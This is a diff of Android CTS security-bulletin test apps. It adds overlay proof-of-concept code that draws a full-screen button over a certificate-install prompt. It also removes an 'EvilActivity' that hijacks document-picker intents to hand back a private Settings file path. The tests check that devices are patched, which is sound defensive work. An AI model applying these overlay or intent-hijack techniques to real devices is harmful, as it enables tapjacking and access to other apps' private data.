+ Context context = getApplicationContext();
+ assertNotNull(context);
+ Intent intent = new Intent(context, PocService.class);
+
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ try {
+ context.startService(intent);
+ } catch (Exception e) {
+ assumeNoException(
+ context.getString(R.string.activityNotStartedException, "overlay service"), e);
+ }
+ }
+
+ private void startVulnerableActivity() {
+ Context context = getApplicationContext();
+ assertNotNull(context);
+
+ InputStream inStream = context.getResources().openRawResource(R.raw.cacert);
+ assumeTrue(context.getString(R.string.rawResOpenError, "cacert"), inStream != null);
+ ByteArrayOutputStream outStream = new ByteArrayOutputStream();
+ byte[] data = new byte[1024];
+ try {
+ int nRead = inStream.read(data, 0, data.length);
+ assumeTrue(context.getString(R.string.streamReadError), nRead > 0);
+ outStream.write(data, 0, nRead);
+ } catch (Exception e) {
+ assumeNoException(context.getString(R.string.streamReadWriteException), e);
+ }
+
+ Intent intent = KeyChain.createInstallIntent();
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(context.getString(R.string.intentExtraKeyName),
+ context.getString(R.string.certName));
+ intent.putExtra(context.getString(R.string.intentExtraKeyCert), outStream.toByteArray());
+ PackageManager pm = context.getPackageManager();
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null);
+ testVulnerablePackage = ri.activityInfo.packageName;
+
+ try {
+ context.startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(context.getString(R.string.activityNotFoundMsg, intent), e);
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+ /* Start the overlay service */
+ startOverlayService();
+
+ /* Wait for the overlay window */
+ Context context = getApplicationContext();
+ Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+ Pattern.CASE_INSENSITIVE);
+ final int launchTimeoutMs = 20000;
+ assumeTrue(context.getString(R.string.overlayUiScreenError),
+ mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs));
+
+ /* Start the vulnerable activity */
+ startVulnerableActivity();
+
+ /* Wait until the object of launcher activity is gone */
+ boolean overlayDisallowed = false;
+ if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))),
+ launchTimeoutMs)) {
+ overlayDisallowed = true;
+ }
+
+ /* Check if the currently running activity is the vulnerable activity */
+ String activityDump = "";
+ try {
+ activityDump = mDevice.executeShellCommand(
+ context.getString(R.string.dumpsysActivityCmd, testVulnerablePackage));
+ } catch (IOException e) {
+ assumeNoException(context.getString(R.string.dumpsysActivityException), e);
+ }
+ Pattern activityPattern =
+ Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerablePackage),
+ activityPattern.matcher(activityDump).find());
+
+ /* Failing the test as fix is not present */
+ assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerablePackage),
+ overlayDisallowed);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java
new file mode 100644
index 0000000..d8563d4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0015;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+ private Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ private int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ Context context = getApplicationContext();
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ mButton = new Button(getApplicationContext());
+ mButton.setText(context.getString(R.string.overlayButtonText));
+ mWindowManager.addView(mButton, mLayoutParams);
+ mButton.setTag(mButton.getVisibility());
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
deleted file mode 100644
index eb4890b..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
+++ /dev/null
@@ -1,56 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:tools="http://schemas.android.com/tools"
- package="android.security.cts.CVE_2021_0481"
- android:targetSandboxVersion="2">
-
- <application>
- <uses-library android:name="android.test.runner"/>
-
- <activity android:name=".EvilActivity" android:exported="true">
- <intent-filter android:priority="100">
- <action android:name="android.intent.action.OPEN_DOCUMENT"/>
- <category android:name="android.intent.category.DEFAULT"/>
- <category android:name="android.intent.category.OPENABLE"/>
- <data android:mimeType="*/*"/>
- </intent-filter>
- <intent-filter android:priority="100">
- <action android:name="android.intent.action.CREATE_DOCUMENT"/>
- <category android:name="android.intent.category.DEFAULT"/>
- <category android:name="android.intent.category.OPENABLE"/>
- <data android:mimeType="*/*"/>
- </intent-filter>
- <intent-filter android:priority="100">
- <action android:name="android.intent.action.GET_CONTENT"/>
- <category android:name="android.intent.category.OPENABLE"/>
- <category android:name="android.intent.category.DEFAULT"/>
- <data android:mimeType="*/*"/>
- </intent-filter>
- <intent-filter android:priority="100">
- <action android:name="android.intent.action.OPEN_DOCUMENT_TREE"/>
- <category android:name="android.intent.category.DEFAULT"/>
- </intent-filter>
- </activity>
-
- </application>
-
- <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.security.cts.CVE_2021_0481" />
-
-</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
deleted file mode 100644
index 891bd18..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
+++ /dev/null
@@ -1,199 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.CVE_2021_0481;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.os.SystemClock;
-import android.util.Log;
-
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import androidx.test.filters.SdkSuppress;
-import androidx.test.runner.AndroidJUnit4;
-import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.UiDevice;
-import androidx.test.uiautomator.UiObject2;
-import androidx.test.uiautomator.Until;
-import androidx.test.uiautomator.BySelector;
-
-import java.util.List;
-
-import static org.hamcrest.CoreMatchers.equalTo;
-import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.CoreMatchers.notNullValue;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assume.assumeNoException;
-
-/**
- * launch "Settings" app
- * set up user photo
- */
-@RunWith(AndroidJUnit4.class)
-public class DeviceTest {
-
- class ClickableNotFound extends Exception{
- public ClickableNotFound(String s){
- super(s);
- }
- }
-
- private static final String BASIC_SAMPLE_PACKAGE
- = "android.security.cts.CVE_2021_0481";
- private static final int LAUNCH_TIMEOUT_MS = 20000;
- private static final String TAG = "TAG_2021_0481";
- private static final int IS_FOUND_FLAG = 1; // 0001
- private static final int IS_CHECKED_FLAG = 2; // 0010
- private UiDevice mDevice;
-
- @Test
- public void testUserPhotoSetUp() {
-
- //set mDevice and go to homescreen
- mDevice = UiDevice.getInstance(getInstrumentation());
- mDevice.pressHome();
-
- //start "Settings" app
- Intent myIntent = new Intent("android.settings.USER_SETTINGS");
- //android.provider.Settings.ACTION_USER_SETTINGS
- myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- try{
- getApplicationContext().startActivity(myIntent);
- } catch(android.content.ActivityNotFoundException e){
- Log.d(TAG, "Activity to be tested doesn't exist. Test will pass.");
- return;
- }
-
- //wait for "User Settings" activity to appear.
- SystemClock.sleep(6000);
-
- //perform UI test steps
- try {
-
- //in "Multiple users" activity showing "Use multiple users" switch
- searchAndClick(mDevice, "android:id/switch_widget", 2000);
-
- //in "Multiple users" activity showing a list of current users,
- //look for the first item "android:id/title" on the list showing "You(Owner)"
- searchAndClick(mDevice, "android:id/title", 2000);
-
- //in "Profile Info" dialog window showing clickable user silhouette
- //look for clickable android.widget.ImageView object with attributes:
- // getContentDescription()=Select photo
- // getResourceName()=com.android.settings:id/user_photo
- searchAndClick(mDevice, "com.android.settings:id/user_photo", 2000);
-
- //in unnamed subdialog showing two options: "Take a photo" "Choose an image"
- searchAndClick(mDevice, "Choose an image", 6000);
-
- //in "Browse Files in Other Apps" activity
- searchAndClick(mDevice, "android.security.cts.CVE_2021_0481.EvilActivity", 5000);
-
- //Image is chosen as (evilActivity) so we are getting back to
- //"Profile Info" dialog window showing clickable user silhouette
- //end "Cancel" and "OK" buttons.
- //look for "Cancel button and click it"
- searchAndClick(mDevice, "Cancel", 2000);
-
- } catch (ClickableNotFound e){
- Log.d(TAG, e.toString());
- assumeNoException(e);
- }
- Log.d(TAG, "end of testUserPhotoSetUp()");
- }
-
- //see what is on screen and click on object containing name
- //throw exception if object not found
- private void searchAndClick(UiDevice mDevice, String name, int timeOut) throws ClickableNotFound {
-
- int ret;
- List<UiObject2> objects = mDevice.findObjects(By.clickable(true));
- boolean found = false;
- Log.d(TAG, "looking for " + name);
- Log.d(TAG, "found " + String.valueOf(objects!=null ? objects.size() : 0) + " clickables");
-
- if(objects != null){
- for (UiObject2 o : objects) {
- if((ret=searchAndLog(o, name, "")) !=0 )
- {
- found=true;
- Log.d(TAG, name + " found");
- if((ret & IS_CHECKED_FLAG) == 0) {
- o.click();
- Log.d(TAG, name + " clicked");
- SystemClock.sleep(timeOut); //wait for click result to appear onscreen
- }
- break; //to avoid androidx.test.uiautomator.StaleObjectException
- }
- }
- }
- if(!found) {
- throw new ClickableNotFound("\"" + name + "\" not found to click on");
- }
- }
-
- //Search for 'name' in UiObject2
- //returns int flags showing search result:
- // IS_CHECKED_FLAG - 'name' matches o.getResourceName() and o.isSelected()==true
- // IS_FOUND_FLAG - 'name' matches anything else
- private int searchAndLog(UiObject2 o, String name, String prefix){
-
- int ret = 0;
- String lname = o.getText();
- String cname = o.getClassName();
- String cdesc = o.getContentDescription();
- String rname = o.getResourceName();
- boolean checked = o.isChecked();
-
- Log.d(TAG, prefix + "class=" + cname);
- Log.d(TAG, prefix + "o.getText()=" + lname);
- Log.d(TAG, prefix + "o.getContentDescription()=" + cdesc);
- Log.d(TAG, prefix + "o.getResourceName()=" + rname);
- Log.d(TAG, prefix + "o.getChildCount()=" + o.getChildCount());
-
- if( rname != null && rname.equals(name) && checked) {
- ret |= IS_CHECKED_FLAG;
- }
- else if(lname != null && lname.equals(name) || cdesc != null && cdesc.equals(name) || rname != null && rname.equals(name) ) {
- ret |= IS_FOUND_FLAG;
- }
-
- if(ret != 0) {
- Log.d(TAG, prefix + "found-->" + name);
- return ret;
- } else {
- java.util.List<UiObject2> objects2 = o.getChildren();
- if(objects2 != null && objects2.size() > 0 && prefix.length() < 50) {
- for (UiObject2 o2 : objects2) {
- if((ret=searchAndLog(o2, name, prefix + "__")) != 0){
- return ret;
- }
- }
- }
- }
- return ret;
- }
-
-}
-
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
deleted file mode 100644
index 92f0ec3..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.security.cts.CVE_2021_0481;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Bundle;
-import android.util.Log;
-
-import androidx.annotation.Nullable;
-import androidx.appcompat.app.AppCompatActivity;
-
-public class EvilActivity extends Activity {
-
- final static String PRIVATE_URI = "file:///data/user_de/0/com.android.settings/shared_prefs/cve_2021_0481.txt";
- private static final String TAG = "TAG_2021_0481";
- @Override
- protected void onCreate(@Nullable Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- Log.d(TAG, "EvilActivity started!");
- setResult(-1, new Intent().setData(Uri.parse(PRIVATE_URI)));
- finish();
- }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
index a105e84..7ff1369 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
@@ -21,18 +21,17 @@
android_test_helper_app {
name: "CVE-2021-0523",
- srcs: [
- "src/android/security/cts/CVE_2021_0523/PocActivity.java",
- "src/android/security/cts/CVE_2021_0523/PocService.java",
- ],
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
test_suites: [
"cts",
"vts10",
"sts",
- "general-tests",
],
- sdk_version: "system_current",
static_libs: [
- "androidx.test.ext.junit",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
],
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
index 0d51208..e21b9b7 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
@@ -20,24 +20,30 @@
android:versionName="1.0">
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
- <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
- <uses-permission android:name="android.permission.WAKE_LOCK" />
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
<application
android:allowBackup="true"
android:label="CVE-2021-0523"
android:supportsRtl="true">
+ <uses-library android:name="android.test.runner" />
<service
android:name=".PocService"
android:enabled="true"
android:exported="false" />
- <activity android:name=".PocActivity" android:exported="true">
+ <activity android:name=".PocActivity"
+ android:exported="true"
+ android:taskAffinity="android.security.cts.cve_2021_0523.PocActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.cve_2021_0523" />
</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml
new file mode 100644
index 0000000..dcdbe0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="overlay_button">OverlayButton</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java
new file mode 100644
index 0000000..5804a31
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0523;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
+ private static final String TEST_PKG_WIFI = "com.android.settings";
+ private static final int LAUNCH_TIMEOUT_MS = 20000;
+ private UiDevice mDevice;
+ String mActivityDump = "";
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ if (Settings.canDrawOverlays(getApplicationContext())) {
+ Intent intent = new Intent(getApplicationContext(), PocService.class);
+ context.startService(intent);
+ } else {
+ try {
+ Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+ }
+
+ @Before
+ public void startMainActivityFromHomeScreen() {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ Context context = getApplicationContext();
+ assertNotNull(context);
+ PackageManager packageManager = context.getPackageManager();
+ assertNotNull(packageManager);
+ final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
+ assertNotNull(intent);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ /* Start the launcher activity */
+ context.startActivity(intent);
+ /* Wait for the WifiScanModeActivity */
+ if (!mDevice.wait(Until.hasObject(By.pkg(TEST_PKG_WIFI).depth(0)), LAUNCH_TIMEOUT_MS)) {
+ return;
+ }
+ /* Start the overlay service */
+ startOverlayService();
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ Pattern pattern = Pattern.compile(
+ getApplicationContext().getResources().getString(R.string.overlay_button),
+ Pattern.CASE_INSENSITIVE);
+ BySelector selector = By.text(pattern);
+ /* Wait for an object of the overlay window */
+ if (!mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+ return;
+ }
+ /* Check if the currently running activity is WifiScanModeActivity */
+ try {
+ mActivityDump = mDevice.executeShellCommand("dumpsys activity");
+ } catch (IOException e) {
+ throw new RuntimeException("Could not execute dumpsys activity command");
+ }
+ Pattern activityPattern = Pattern.compile("mResumedActivity.*WifiScanModeActivity.*\n");
+ if (!activityPattern.matcher(mActivityDump).find()) {
+ return;
+ }
+ String message = "Device is vulnerable to b/174047492 hence any app with "
+ + "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen";
+ assertNull(message, mDevice.findObject(selector));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
index 17aab09..3e35266 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
@@ -17,61 +17,22 @@
package android.security.cts.cve_2021_0523;
import android.app.Activity;
+import android.content.ActivityNotFoundException;
import android.content.Intent;
-import android.content.Context;
import android.net.wifi.WifiManager;
-import android.os.Build;
import android.os.Bundle;
-import android.os.PowerManager;
-import android.os.PowerManager.WakeLock;
-import android.provider.Settings;
public class PocActivity extends Activity {
- private WakeLock mScreenLock;
- private Context mContext;
-
- private void startOverlayService() {
- if (Settings.canDrawOverlays(this)) {
- Intent intent = new Intent(PocActivity.this, PocService.class);
- startService(intent);
- } else {
- try {
- Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
- startActivityForResult(intent, 1);
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
-
- private void stopOverlayService() {
- Intent intent = new Intent(PocActivity.this, PocService.class);
- stopService(intent);
- }
@Override
protected void onCreate(Bundle savedInstanceState) {
- mContext = this.getApplicationContext();
- PowerManager pm = mContext.getSystemService(PowerManager.class);
- mScreenLock = pm.newWakeLock(
- PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP,
- "PocActivity");
- mScreenLock.acquire();
- try {
- Thread.sleep(6000);
- } catch (Exception e) {
- e.printStackTrace();
- }
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
- startOverlayService();
Intent intent = new Intent(WifiManager.ACTION_REQUEST_SCAN_ALWAYS_AVAILABLE);
- startActivityForResult(intent, 2);
- }
-
- @Override
- protected void onDestroy() {
- super.onDestroy();
- mScreenLock.release();
+ try {
+ startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ // do nothing
+ }
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
index bef2beb..a106c28 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
@@ -19,18 +19,12 @@
import android.app.Service;
import android.content.Intent;
import android.content.res.Resources;
-import android.graphics.Bitmap;
-import android.graphics.Color;
import android.graphics.PixelFormat;
-import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
import android.provider.Settings;
import android.view.Gravity;
-import android.view.MotionEvent;
-import android.view.View;
import android.view.WindowManager;
-import android.view.WindowManager.LayoutParams;
import android.widget.Button;
public class PocService extends Service {
@@ -84,9 +78,8 @@
private void showFloatingWindow() {
if (Settings.canDrawOverlays(this)) {
mButton = new Button(getApplicationContext());
- mButton.setBackgroundColor(Color.parseColor("#BEBEBE")); // R-BE G-BE B-BE
+ mButton.setText(getResources().getString(R.string.overlay_button));
mWindowManager.addView(mButton, mLayoutParams);
- mButton.setOnTouchListener(new FloatingOnTouchListener());
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
@@ -96,25 +89,4 @@
mButton.setTag(mButton.getVisibility());
}
}
-
- private static class FloatingOnTouchListener implements View.OnTouchListener {
-
- @Override
- public boolean onTouch(View view, MotionEvent event) {
- view.setDrawingCacheEnabled(true);
- view.buildDrawingCache();
- Bitmap bitmap = view.getDrawingCache();
- int pixel = bitmap.getPixel(getScreenWidth() / 2, getScreenHeight() / 2);
- int red = Color.red(pixel);
- int green = Color.green(pixel);
- int blue = Color.blue(pixel);
- view.setDrawingCacheEnabled(false);
- if ((red == 0xBE) && (green == 0xBE) && (blue == 0xBE)) {
- throw new RuntimeException(
- "Device is vulnerable to b/174047492 hence any app with " +
- "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen");
- }
- return false;
- }
- }
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
index 73c8e10..3ffb7df 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
@@ -16,30 +16,34 @@
package android.security.cts.cve_2021_0586;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
+
import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.By;
import androidx.test.uiautomator.BySelector;
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.Until;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.io.IOException;
import java.util.regex.Pattern;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertNotNull;
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
- private static final String TEST_PKG_BT = "com.android.settings";
private static final int LAUNCH_TIMEOUT_MS = 20000;
+ private Pattern overlayTextPattern;
private UiDevice mDevice;
String activityDump = "";
@@ -68,26 +72,29 @@
final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
